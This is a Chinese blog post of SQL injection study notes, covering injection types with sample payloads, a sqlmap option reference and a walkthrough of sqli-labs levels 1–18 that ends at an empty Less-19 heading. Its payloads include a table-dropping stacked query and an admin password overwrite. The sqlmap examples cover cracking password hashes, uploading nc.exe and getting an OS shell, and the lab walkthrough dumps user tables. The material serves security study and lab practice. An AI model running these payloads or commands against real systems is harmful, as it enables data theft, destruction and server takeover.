sql注入笔记

暂时还在更新,博主比较懒,请提醒它及时完成 sqli-labs

SQL 注入基础

基于错误的注入

基于错误的注入,或者说基于报错的注入,是指通过构造特定的 SQL 语句使得数据库软件执行错误,随后服务端将错误反馈到用户端以暴露出特定信息的攻击方式。

一种情况是通过构造错误的参数,使得一些 SQL 语句的错误直接回显在页面上,暴露一些 SQL 语句信息便于使用特定的攻击手段;

另一种情况是后台没有对一些具有报错功能的函数进行过滤,使得一些关键信息被直接被以报错的形式携带到页面上。

二者的前提都基于 WEB 应用程序未关闭数据库的报错函数

比如说在 sqli-labs 的 Less-1 中,通过单引号引起报错,得到类似的错误回显

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

暴露出大致 SQL 查询语句可能为

1
SELECT * from users WHERE id='$id' LIMIT 0,1

便于构造特定的攻击参数。

又或者是通过特定函数,比如说通过双查询的方式引起某个函数报错,使得错误回显携带关键信息,比如说参数

1
?id=-1' AND (SELECT 1 FROM (SELECT count(*) ,concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

通过 floor(rand(0)*2)) 语句使得键按 010 的方式生成,导致 GROUP BY 查询到重复的键引发报错,回显为

1
Duplicate entry '::security::1' for key ''

这样就将我们想要的 database() 的值携带出来了。

基于布尔值的盲注

但有时页面不一定会发生数据上的改变,比如说登陆页面,在查询账户密码进行比对后,页面只会有登陆成功和登陆错误(布尔值的真与假)两种变化,从而没办法直接获取到数据本身。

这个时候我们可以通过构造表达式完成注入,例如将语句构造成仅当布尔值成立时,查询才会有结果,从而使得页面回显为真,通过多次注入,最终间接获取到目标数据。

例如可以构造参数 1' AND length(database())=1 --+,通过不断改变比较的数字,来猜测数据库名的长度。

基于时间的盲注

有时页面完全没有变化,又或者是页面为 SQL 语句加入了一些过滤导致其他注入方式无法成功时,就可以考虑时间盲注。

基于布尔值盲注的原理,我们将布尔值的变化从用户端页面的变化转移到服务端时间的变化,这就是时间盲注原理。

最常用的方式就是在 SQL 语句中注入 sleep 函数,在布尔值为真时使得服务端 IO 时间增加到异常的情况(我们可以判断的情况,例如延时 5 秒),这样就完成了一次时间盲注。

例如可以构造参数 1' AND if(length(database())=1,sleep(5),1) --+,通过不断改变比较的数字,来猜测数据库名的长度。

基于 UNION 查询的注入

UNION 查询注入,也称为联合查询注入,是一种常见的 SQL 注入技术。它利用了 SQL 中 UNION 关键字的特性,允许合并两个或多个 SELECT 查询的结果,并将它们作为单个结果返回。

举例来说,在一个查看所有用户的界面中,通常会对 users 表执行查询并返回结果。攻击者可以通过在原始查询中注入恶意的 UNION 语句,将其他表的查询结果合并到原始结果中。这样,攻击者就可以越权查询其他表的数据,从而获取敏感信息或执行其他恶意操作。

例如说参数 1' UNION SELECT user(),database() --+,我们就可以在回显中查看到用户名和数据库名。

堆叠查询注入

堆叠查询可以同时执行多条 SQL 查询语句,通过注入恶意的 SQL 查询来实现对数据库的控制。

同时堆叠查询也被称为 piggy backing,是因为堆叠查询的恶意语句是直接搭载在正常查询内容之后的。

堆叠查询的核心在于不一定需要改变原查询语句来构建复杂的参数,因为常常我们的输入是有长度限制的(例如用户名的长度限制),通过堆叠查询的方式可以减轻参数的复杂程度,一般配合其他注入方式使用。

例如说一个攻击参数 1;drop table users; --+,这样直接破坏了原有的数据库结构,使得服务无法正常进行。

更新、插入和删除注入

有时 SELECT 语句会被限制使用,那么此时可以利用 UPDATE 语句、INSERT 语句、DELETE语句、updatexml() 函数等操作完成数据修改的注入。

比如说通过 UPDATE 语句修改管理员权限账户的密码,利用 INSERT 注入一个新的带有管理员权限的账户,又或者可以利用这些语句同样拥有的查询功能来联合其他的注入手段。

二次注入

攻击者将构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入被称为二次注入。

例如说在修改用户名的页面将用户名编辑为恶意数据,例如说 admin' #,那么在修改密码界面,可能的 SQL 语句为

1
UPDATE users SET password='$new_pass' WHERE username='$user' AND password='$old_pass';

此时服务端获取到 admin' # 插入到 SQL 语句中,导致 SQL 语句变为

1
UPDATE users SET password='$new_pass' WHERE username='admin' # AND password='$old_pass';

使得我们成功注入修改了 admin 管理用户的密码。

在这里相当于我们将一句话注入拆分成了两步,先给变量赋值,然后再将变量注入到 SQL 语句中。

这样即使后端对用户输入做了转义,但是没有考虑到服务端数据会被二次利用,也能够进行注入。

sqlmap

简介

sqlmap 是一个强大的开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。它配备了强大的检测引擎、终极渗透测试仪的许多利基功能以及广泛的开关,包括数据库指纹、从数据库获取数据、访问底层文件系统以及通过输出在操作系统上执行命令和外带连接等。

sqlmap 能够监测和利用多种不同的 SQL 注入类型,包括盲注、错误注入、堆叠注入等,同时还支持通过参数精细化注入,使得其适用于各种各样的场景。

功能

通过 sqlmap -h 可以查看简要帮助,而 sqlmap -hh 可以查看详细帮助。

通过 -v 参数可以改变 sqlmap 的信息输出详细等级,默认为 1。

  • 0:仅显示 Python 回溯、错误和关键消息。-v 0
  • 1:还显示信息和警告消息。-v 1
  • 2:还显示调试消息。-v
  • 3:还显示注入的有效负载。-vv
  • 4:还显示 HTTP 请求。-vvv
  • 5:还显示 HTTP 响应的标头。-vvvv
  • 6 : 还显示 HTTP 响应的页面内容。-vvvvv

目标

sqlmap 支持单个或多个自动化渗透目标,是必须指定的参数。

-u 必须是可以访问的 URL 网络地址,形式为 http(s)://targeturl[:port]/[...],一般来说还需要携带 GET 参数便于 sqlmap 自动化解析。

-d 是指数据库实例,只能接受以下形式的字符串

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、Microsoft SQL Server、PostgreSQL 等)
  • DBMS://DATABASE_FILEPATH(SQLite、Microsoft Access、Firebird 等)

例如说 mysql://admin:admin@192.168.21.17:3306/testdb

-l 是从类似 Burp Suite 中的代理日志文件中解析渗透目标来进行测试和注入,一般用于提供多目标。

-m 也是用于提供多目标的参数,从类似下文文件中解析多个目标进行自动化渗透

1
2
3
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

-r 从文本文件中直接载入原始 HTTP 请求,这样可以简略请求设置,例如

1
2
3
4
5
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请求

sqlmap 支持对自动化渗透时的 HTTP 请求进行自定义、随机化设置。

--method 可以指定一些特定的 HTTP 请求方法,例如 RESTful 的 PUT,即 --method=PUT

--data 用于传递 POST 请求的数据,例如 --data="id=1"

--cookie 用于指定 HTTP 请求携带的 Cookie;

--drop-set-cookie 用于忽略自动化渗透时服务端发送的 Set-Cookie 标头。

--user-agent 用于指定 HTTP 请求携带的 User-Agent;

--random-agent 用于随机自动化渗透时的 HTTP 请求携带的 User-Agent,来源是 ./data/txt/user-agents.txt

如果注入等级 --level 高于等于 3,那么 sqlmap 还会尝试对 HTTP User-Agent 进行 SQL 注入测试。

--host 用于指定 HTTP 请求携带的 Host;

如果注入等级 --level 高于等于 5,那么 sqlmap 还会尝试对 HTTP Host 进行 SQL 注入测试。

--referer 用于指定 HTTP 请求携带的 Referer;

如果注入等级 --level 高于等于 3,那么 sqlmap 还会尝试对 HTTP Referer 进行 SQL 注入测试。

--headers 还可以指定额外的 HTTP 标头,例如 --headers="X-Forwarded-For: 127.0.0.1"

以上设置都可以通过 -r 参数解决,方便设置。(特殊参数除外)

--proxy 可以指定 sqlmap 进行自动化渗透时使用的代理,形式为 http://url:port

--timeout 设置请求超时秒数,可以是浮点数。

--skip-urlencode 有的后端 Web 服务器不遵循 RFC 标准,可以使用该参数避免 SQL 注入时的 URLEncode。

许多网站都以令牌的形式纳入反 CSRF 保护,隐藏字段值在每个页面响应期间随机设置,sqlmap 将自动尝试识别并绕过这种保护,但有一些选项--csrf-token--csrf-url用于进一步微调它。

选项--csrf-token可用于设置包含随机标记的隐藏值的名称。当网站对此类字段使用非标准名称时,这非常有用。选项--csrf-url可用于从任意 URL 地址检索令牌值。如果易受攻击的目标 URL 首先不包含必要的令牌值,但需要从其他位置提取它,则这非常有用。

--force-ssl 强制使用 SSL/HTTPS 请求。

--eval 可以写入 Python 代码便于每次修正请求参数,因为有的请求参数可能是与注入参数强相关的,例如

1
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

优化

--keep-alive 可以使得 sqlmap 使用持久的 HTTP(s) 连接,提高 IO 次数。

--threads 可以指定并发线程数,可设置的最大并发数为 10。

注入

sqlmap 可以通过注入参数的设置来微调自动化注入的方式。

-p 用于指定测试参数,比如说针对于 User-Agent 参数的测试,可以通过 -p "id,user-agent" 来指定测试。

而高渗透等级可能会测试一些无用参数,也可以通过 --skip 来跳过测试,例如 --skip "user-agent,referer"

默认情况下,sqlmap 会根据指纹判断后端的数据库管理系统,但有时会出现不准确的情况,可以使用 --dbms 强制指定对应的数据库管理系统。

同样的对于数据库管理系统的操作系统也是如此,可以使用 --os 强制指定。

--tamper 可以指定一些额外的插件脚本来混淆注入语句,可以使用 , 连接多个 tamper 。

通过 sqlmap --list-tampers 可以列出所有 tamper 及其作用。

检测

--level 可以指定自动化渗透等级。SQL 注入方式越复杂那么渗透等级越高。

--risk 可以指定自动化渗透风险等级。有的 SQL 注入方式可能会导致服务出现异常,例如 UPDATE 语句注入可能会修改某些条目,如果在希望注入成功率增加的同时能忍受一定的风险,那么可以适当提高风险等级。

技术

--technique 可以指定自动化渗透所使用的 SQL 注入技术,可以是一个或多个字符的组合,每个字符的含义如下

  • B:基于布尔的盲注
  • E:基于错误
  • U:基于联合查询
  • S:堆叠查询
  • T:基于时间的盲注
  • Q:内联查询

默认值为 BEUSTQ,即 --technique=BEUSTQ

--time-sec 可以改变时间盲注的延时时间,默认值为 5 秒。时间降低可能会导致准确率降低,时间增加可能会导致攻击的时间成本过高。

--union-cols 可以改变 UNION 注入的列数,因为 sqlmap 默认只在 1~10 列进行测试,如果需要更高范围的测试可以使用该参数。

在某些 UNION 查询 SQL 注入情况下,需要强制在FROM子句中使用有效且可访问的表名。例如,Microsoft Access 需要使用此类表。如果不提供一个 UNION 查询,SQL 注入将无法正确执行(例如--union-from=users)。

二次注入需要使用参数 --second-url--second-req 指定。

指纹

sqlmap 会自动根据指纹来识别对应的数据库管理系统,可以通过-f--fingerprint 来进行自动化识别, -b--banner 参数可以提供更精确的结果(后者的前提是可注入)。

枚举

枚举选项可以让 sqlmap 枚举后端数据库管理系统的信息、结构和表中包含的数据,甚至可以允许自己的 SQL 语句。

-b--banner 参数可以提供更精确的数据库版本结果,原理是注入 version 函数。

--current-user 可以检索数据库管理系统当前执行查询的用户。

--current-db 可以检索当前数据库名称。

--hostname 可以检索服务端主机名。

--is-dba 可以检测当前数据库用户是否为管理员用户。

--users 可以检索出所有数据库用户。

--passwords 可以列出并自动化破解数据库管理系统用户密码的哈希值。

针对 PostgreSQL 目标的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

sqlmap 不仅枚举了 DBMS 用户及其密码,而且还识别出 PostgreSQL 的哈希格式,询问用户是否针对字典文件测试哈希值,并识别用户的明文密码postgres,通常是DBA 以及其他用户、testuser密码。

此功能已在所有可以枚举用户密码散列的 DBMS 中实现,包括 2005 年前后的 Oracle 和 Microsoft SQL Server。

您还可以提供选项 -U 来指定要枚举并最终破解密码哈希的特定用户。如果您提供CU用户名,它会将其视为当前用户的别名,并检索该用户的密码哈希。

--privileges 可以检索当前数据库用户权限,也可以通过 -U 指定特定用户。

--dbs 可以检索出所有数据库。

--tables 可以检索出数据库中的所有表(table),如果没有使用 -D 指定数据库名字,那么将列出所有,--exclude-sysdbs 可以排除所有系统数据库的表。

--columns 可以检索出表中所有的列(column),如果没有使用 -D 指定数据库名,没有使用 -T 指定表名,那么将列出所有(或相匹配的)。

--schema 可以检索所有数据库、表和列及其各自的类型并一起展示,使用 --exclude-sysdbs 忽略系统数据库。

针对 MySQL 目标的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]

--dump 可以转储指定数据库(-D),指定表(-T)的内容,还有更多参数具体可以查看帮助信息。

--dump-all 可以一次性转出整个数据库。

--sql-query--sql-shell 可以运行任意 SQL 语句,还可以启动 sql shell 的模式。

爆破

在某些情况下,switch--tables不能用于检索数据库的表名。这些案例通常属于以下类别之一:

  • 数据库管理系统是 MySQL < 5.0,information_schema不可用。
  • 数据库管理系统是 Microsoft Access,系统表MSysObjects不可读 - 默认设置。
  • 会话用户没有对存储数据库方案的系统表的读取权限。

那么可以尝试使用 --common-tables 来进行一定的暴力攻击以检测数据库中是否存在某些常见的表(名)。

参数来自于 data/txt/common-tables.txt,可以自行向该字典中添加新的值。

同理,--columns 也可能无法使用,使用 --common-columns 也可以进行一定的暴力攻击。

参数来自于 data/txt/common-columns.txt,可以自行向该字典中添加新的值。

任意文件读写

某些版本下的数据库管理系统可能存在权限缺陷,可以访问、读取、写入服务器中指定文件。

--file-read 可以指定一个路径进行读取,针对 Microsoft SQL Server 2005 目标检索二进制文件的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

--file-write--file-dest 可以写入文件,前者指定本地文件路径,后者指定服务器路径。

针对 MySQL 目标上传二进制 UPX 压缩文件的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

命令执行

某些版本下的数据库管理系统可能存在权限缺陷,可以在数据库服务器的底层操作系统上运行任意命令

--os-cmd 接管 Windows 系统的命令执行,--os-shell 接管 Linux 系统的命令执行。

甚至可以通过一些 PWN 攻击手段进行命令执行。

注册表访问

具体查看帮助:

1
2
3
4
5
6
7
8
9
10
11
Windows registry access:
These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

常规选项

sqlmap 自动为每个目标在专用输出目录中创建一个持久会话 SQLite 文件,其中存储会话恢复所需的所有数据。如果用户想要显式设置会话文件位置(例如,将多个目标的会话数据存储在一个位置),可以使用 -s 指定路径。

-t 可以指定一个文本文件来输出 HTTP 流量日志。

如果参数传递需要进行 base64 编码,可以使用 --base64 指定参数名。

使用示例(注:Base64('{"id": 1}') == 'eyJpZCI6IDF9'):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZCI6IDF9 -v 5 --base64=value
[...]
[23:43:35] [INFO] testing 'Boolean-based blind - Parameter replace (original valu
e)'
[23:43:35] [PAYLOAD] KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAx
fScgRUxTRSAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp
[23:43:35] [TRAFFIC OUT] HTTP request [#11]:
GET /?value=KFNFTEVDVCAoQ0FTRSBXSEVOICgzODY1PTUzMTQpIFRIRU4gJ3siaWQiOiAxfScgRUxTR
SAoU0VMRUNUIDUzMTQgVU5JT04gU0VMRUNUIDE5MzIpIEVORCkp HTTP/1.1
Host: localhost
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.4.3#dev (http://sqlmap.org)
Connection: close
[...]

--charset 可以强制盲注字符集,一般是为了减少字符集大小来加快数据检索,例如 --charset="0123456789abcdef" 预期请求数量比常规运行少大约 30%。

--crawl 会自动爬取目标 URL 下的子网页并进行渗透测试,需要指定一个爬取深度,例如 --crawl=3

--hex 会强制使用十六进制函数进行攻击。

--output-dir 可以指定输出目录,否则会在默认 Temp 目录中输出。

--alert 检测到成功注入后会发出警报,--beep 会发出蜂鸣声。

针对于某些特定的手机 APP 后端,可能会约束使用手机 UA 进行请求,可以使用 --mobile 进行指定。

--flush-session 可以强制刷新 sqlmap 的缓存,因为 sqlmap 上一次攻击的方法针对 version 可以成功,但不代表其针对 --dbs 也可以成功,所以需要强制刷新缓存。

sqli-labs

使用 docker 镜像 c0ny1/sqli-labs 进行渗透学习。

使用 sqlmap 进行自动化渗透,目标一般定为将数据库转储即完成渗透。

Less-1

基于错误的注入,GET 单引号字符型注入。

第一步,使用 -f 参数初步注入

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -f

可以得到回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3288=3288 AND 'qHrh'='qHrh

Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71786a7671,(SELECT (ELT(2521=2521,1))),0x7171716271,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'oFyO'='oFyO

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 7806 FROM (SELECT(SLEEP(5)))cxke) AND 'APfo'='APfo

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-6679' UNION ALL SELECT NULL,CONCAT(0x71786a7671,0x6855526b4258536d4d4649567a424e6b5952675a46626c6a4f6c5257756642444f73756467744441,0x7171716271),NULL-- -
---
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: active fingerprint: MySQL >= 5.5
comment injection fingerprint: MySQL 5.5.47
html error message fingerprint: MySQL

其中很快速地探测出一定的注入方式和服务端的一些信息。

不妨使用 -b 获取 version 信息,回显如下

1
2
3
4
5
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner: '5.5.47-0ubuntu0.14.04.1'

-f 的推测基本一致。(banner 需要成功注入获取 version 函数的信息,而 fingerprint 不需要)

那么直接进行更深一步的信息获取(用到枚举功能),比如说尝试注入 database 函数,即

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" --current-db

很轻松获取到回显

1
current database: 'security'

更进一步,检索 security 数据库下的表

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -D security --tables

回显为

1
2
3
4
5
6
7
8
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+

更进一步,直接将 users 转储

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-1/?id=1" -D security -T users --dump

回显为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+

至此,我们成功完成一次渗透。

Less-2

基于错误的注入,GET 整型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-3

基于错误的注入,但使用了 ') 闭合。

不出意外无需额外参数便可自动化渗透成功。

Less-4

基于错误的注入,GET 双引号字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-5

基于错误的注入,GET 单引号字符型注入,没有回显的盲注。

相比较之前 sqlmap 注入的简单化,这次会提示更多的操作来便于获取更多信息。

但不出意外无需额外参数便可自动化渗透成功。

Less-6

基于错误的注入,GET 双引号字符型注入,没有回显的盲注。

不出意外无需额外参数便可自动化渗透成功。

Less-7

文件写入的注入。

如果不加额外参数,在这里 sqlmap 会通过时间盲注的注入方法,同样可以攻击成功将表转储。

虽然 sqlmap 有 --file-write--file-read 的参数,但它内部的实现方法并不是通过 OUTFILE 指令,而这题的本意是想考 OUTFILE 指令,故这里给出可能的手解方式。

OUTFILE 不是很现实,许多数据库管理系统默认关闭该指令。

手工测试可以发现在 ?id=1')) AND 1=1--+ 时成功注入,那么使用 UNION 结合 OUTFILE 将内容输出到文件中,例如

1
?id=1')) UNION SELECT 1,2,'flag{qsdzyyds}' INTO OUTFILE "/tmp/flag"--+

使用 sqlmap 的 --file-read 参数可以轻松读取文件

1
sqlmap -u "http://qsdz.vm.szu.moe:8888/Less-7/?id=1" --file-read "/tmp/flag"

下载后的文件会存放在 ~/.local/share/sqlmap/output/qsdz.vm.szu.moe/files/_tmp_flag

由于 Linux 权限问题,OUTFILE 也不一定可以写入任意路径。

Less-8

基于布尔的盲注,GET 单引号字符型。

不出意外无需额外参数便可自动化渗透成功。

Less-9

基于时间的盲注,GET 单引号字符型。

不出意外无需额外参数便可自动化渗透成功。

Less-10

基于时间的盲注,GET 双引号字符型。

不出意外无需额外参数便可自动化渗透成功。

Less-11

基于错误的注入,POST 单引号字符型注入。

由于是 POST 传参,推荐使用 Burp Suite 抓包后,将一次 POST 传参的包保存起来,内容可能如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /Less-11/ HTTP/1.1
Host: qsdz.vm.szu.moe:8888
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://qsdz.vm.szu.moe:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://qsdz.vm.szu.moe:8888/Less-11/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin&passwd=admin&submit=Submit

在 Burp Suite 里右键,选择 Copy to file 即可将请求保存成文件。

尝试初步渗透

1
sqlmap -r req.txt -b

成功获得回显

1
2
3
4
5
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner: '5.5.47-0ubuntu0.14.04.1'

那么忽略中间步骤,看看是否能直接转储表

1
sqlmap -r req.txt -D security -T users --dump

成功获得回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+

Less-12

基于错误的注入,POST 双引号字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-13

基于错误的注入,POST 单引号括号闭合字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-14

基于错误的注入,POST 双引号括号闭合字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-15

基于布尔的时间盲注,POST 单引号字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-16

基于布尔的时间盲注,POST 双引号字符型注入。

不出意外无需额外参数便可自动化渗透成功。

Less-17

基于错误的注入,UPDATE 注入。

不出意外无需额外参数便可自动化渗透成功。

Less-18

基于错误的注入,基于 User-Agent 的注入。

原理是 User-Agent 也被当做输入插入到 SQL 语句中。

此时 sqlmap 需要调整渗透等级,在渗透等级小于 3 时是不会对 User-Agent 的注入进行测试的。

1
sqlmap -r req.txt -f --level 3

可以在 sqlmap 的回显中发现

1
2
3
4
5
6
7
8
9
10
11
sqlmap identified the following injection point(s) with a total of 4670 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36'||(SELECT 0x6a636279 FROM DUAL WHERE 5395=5395 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71767a7a71,(SELECT (ELT(1337=1337,1))),0x716b6a6b71,0x78))s), 8446744073709551610, 8446744073709551610))))||'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36'||(SELECT 0x6a687361 FROM DUAL WHERE 7056=7056 AND (SELECT 7385 FROM (SELECT(SLEEP(5)))UNzj))||'
---

其识别了 User-Agent 参数有注入的可能,而且是基于错误的注入方式。

在检测出是此参数后,之后无需再携带 --level 3 参数。

1
sqlmap -r req.txt -D security -T users --dump

同样,表被我们转储出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Database: security
Table: users
[13 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | admin | Dumb |
| 2 | admin | Angelina |
| 3 | admin | Dummy |
| 4 | admin | secure |
| 5 | admin | stupid |
| 6 | admin | superman |
| 7 | admin | batman |
| 8 | admin | admin |
| 9 | admin | admin1 |
| 10 | admin | admin2 |
| 11 | admin | admin3 |
| 12 | admin | dhakkan |
| 14 | admin | admin4 |
+----+----------+----------+

Less-19

